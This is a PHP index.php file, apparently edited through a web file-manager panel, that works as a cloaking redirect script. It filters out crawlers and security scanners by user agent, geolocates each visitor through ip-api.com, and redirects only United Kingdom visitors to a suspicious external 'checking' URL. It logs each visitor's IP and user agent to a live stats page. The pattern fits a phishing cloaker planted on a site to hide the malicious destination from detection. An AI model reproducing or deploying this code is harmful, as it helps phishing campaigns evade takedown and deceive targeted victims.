OwlCyberSecurity - MANAGER
Edit File: index.php
<?php /** * * * */ // ===== CONFIGURARE ===== $allowed_country = 'United Kingdom'; $redirect_url = 'https://emotordocsummary.com/G3O4L0/checking/'; $log_file = 'logs.txt'; $stats_file = 'logs.html'; // $blocked_bots = [ 'microsoft', 'msnbot', 'bingbot', 'teams', 'azure', 'msedge', 'googlebot', 'adsbot', 'google', 'chrome-lighthouse', 'amazon', 'aws', 'cloudfront', 'alexa', 'facebookexternalhit', 'facebookbot', 'twitterbot', 'tweetmemebot', 'slurp', 'yandex', 'baidu', 'duckduckbot', 'petalbot', 'ahrefsbot', 'semrush', 'mj12bot', 'dotbot', 'rogerbot', 'screaming frog', 'python', 'curl', 'wget', 'scrapy', 'httpclient', 'bot', 'crawler', 'spider', 'scanner' ]; // ===== function getUserIP() { $headers = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR']; foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $ip = explode(',', $_SERVER[$header])[0]; return trim($ip); } } return 'UNKNOWN'; } function isBot($ua) { global $blocked_bots; $ua = strtolower($ua); foreach ($blocked_bots as $bot) { if (strpos($ua, $bot) !== false) return $bot; } return false; } function getCountry($ip) { if ($ip === '127.0.0.1' || $ip === '::1' || $ip === 'UNKNOWN') { return ['status' => 'fail', 'country' => 'Localhost']; } $url = "http://ip-api.com/json/{$ip}?fields=status,message,country"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 1, CURLOPT_CONNECTTIMEOUT => 1, CURLOPT_FOLLOWLOCATION => false ]); $response = curl_exec($ch); curl_close($ch); return $response ? json_decode($response, true) : ['status' => 'fail', 'country' => 'API Error']; } function saveLog($ip, $ua, $country, $status, $reason = '') { global $log_file, $stats_file; $date = date('Y-m-d H:i:s'); $symbol = ($status === 'ALLOWED') ? 'β ' : 'β'; // $log_line = "[{$date}] {$symbol} {$status} | IP: {$ip} | ΘarΔ: {$country} | UA: {$ua}"; if ($reason) $log_line .= " | Motiv: {$reason}"; $log_line .= "\n"; file_put_contents($log_file, $log_line, FILE_APPEND | LOCK_EX); // updateStats($status, $ip, $country, $reason); } function updateStats($status, $ip, $country, $reason) { global $stats_file; $allowed = 0; $blocked = 0; $old_entries = ''; // if (file_exists($stats_file) && filesize($stats_file) > 0) { $content = file_get_contents($stats_file); // preg_match('/data-allowed="(\d+)"/', $content, $a); preg_match('/data-blocked="(\d+)"/', $content, $b); $allowed = isset($a[1]) ? (int)$a[1] : 0; $blocked = isset($b[1]) ? (int)$b[1] : 0; // preg_match('/<tbody id="log-body">(.*?)<\/tbody>/s', $content, $matches); if (isset($matches[1]) && !empty(trim($matches[1]))) { $old_entries = $matches[1]; } } // if ($status === 'ALLOWED') $allowed++; else $blocked++; // $color = ($status === 'ALLOWED') ? '#00cc66' : '#ff3333'; $date = date('H:i:s'); $new_entry = "<tr style='color:{$color}'>"; $new_entry .= "<td>{$date}</td><td>{$ip}</td><td>{$country}</td><td>{$status}</td><td>{$reason}</td>"; $new_entry .= "</tr>\n"; // $all_entries = $new_entry . $old_entries; // $total = $allowed + $blocked; $allowed_percent = $total > 0 ? round(($allowed / $total) * 100) : 0; $blocked_percent = $total > 0 ? round(($blocked / $total) * 100) : 0; // $html = <<<HTML <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>π Geo Redirect Stats</title> <style> *{margin:0;padding:0;box-sizing:border-box} body{background:#0a0a0f;color:#e0e0e0;font-family:'Segoe UI',Arial,sans-serif;padding:20px} .container{max-width:1200px;margin:0 auto} h1{text-align:center;color:#00ff88;margin-bottom:30px;font-size:2.5em;text-shadow:0 0 20px rgba(0,255,136,0.3)} .stats-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:20px;margin-bottom:30px} .stat-card{background:#1a1a2e;border-radius:15px;padding:25px;text-align:center;border:1px solid #2a2a4a} .stat-card.allowed{border-color:#00cc66;box-shadow:0 0 30px rgba(0,204,102,0.2)} .stat-card.blocked{border-color:#ff3333;box-shadow:0 0 30px rgba(255,51,51,0.2)} .stat-card.total{border-color:#3399ff;box-shadow:0 0 30px rgba(51,153,255,0.2)} .stat-number{font-size:3em;font-weight:bold;margin:10px 0} .stat-label{font-size:1.1em;text-transform:uppercase;letter-spacing:2px;opacity:0.8} .allowed .stat-number{color:#00cc66} .blocked .stat-number{color:#ff3333} .total .stat-number{color:#3399ff} .percentage{font-size:1.2em;margin-top:10px;opacity:0.7} table{width:100%;border-collapse:collapse;background:#1a1a2e;border-radius:15px;overflow:hidden} thead{background:#2a2a4a} th{padding:15px;text-align:left;font-weight:600;text-transform:uppercase;font-size:0.9em;letter-spacing:1px} td{padding:12px 15px;border-bottom:1px solid #2a2a4a} tr:hover{background:rgba(255,255,255,0.03)} </style> </head> <body> <div class="container"> <h1>π‘οΈ Geo Redirect Live Stats</h1> <!-- DATA ATTRIBUTES --> <div id="stats-data" data-allowed="{$allowed}" data-blocked="{$blocked}" style="display:none;"></div> <div class="stats-grid"> <div class="stat-card allowed"> <div class="stat-label">β Allowed</div> <div class="stat-number">{$allowed}</div> <div class="percentage">{$allowed_percent}%</div> </div> <div class="stat-card blocked"> <div class="stat-label">β Blocked</div> <div class="stat-number">{$blocked}</div> <div class="percentage">{$blocked_percent}%</div> </div> <div class="stat-card total"> <div class="stat-label">π ALL VISITS</div> <div class="stat-number">{$total}</div> <div class="percentage">100%</div> </div> </div> <table> <thead> <tr> <th>β° Hour</th> <th>π IP</th> <th>π Country</th> <th>π Status</th> <th>π¬ Reason</th> </tr> </thead> <tbody id="log-body"> {$all_entries} </tbody> </table> </div> <script>setTimeout(()=>location.reload(),5000);</script> </body> </html> HTML; file_put_contents($stats_file, $html, LOCK_EX); } // ===== $user_ip = getUserIP(); $user_ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; // 1. $bot_check = isBot($user_ua); if ($bot_check) { saveLog($user_ip, $user_ua, 'BOT', 'BLOCKED', "Bot detectat: {$bot_check}"); http_response_code(403); header('Content-Type: text/plain'); die("π« Access Denied - Bot Deteted: {$bot_check}"); } // 2. $geo_data = getCountry($user_ip); $country = $geo_data['country'] ?? 'Unknown'; // 3. if ($geo_data['status'] === 'success' && strcasecmp($country, $allowed_country) === 0) { // ALLOWED saveLog($user_ip, $user_ua, $country, 'ALLOWED'); header("Location: {$redirect_url}", true, 302); exit(); } else { // BLOCKED $reason = ($geo_data['status'] === 'fail') ? "API Error: {$country}" : "Blocked Country: {$country}"; saveLog($user_ip, $user_ua, $country, 'BLOCKED', $reason); http_response_code(403); header('Content-Type: text/plain'); die("π« Access Denied - {$reason}"); } ?>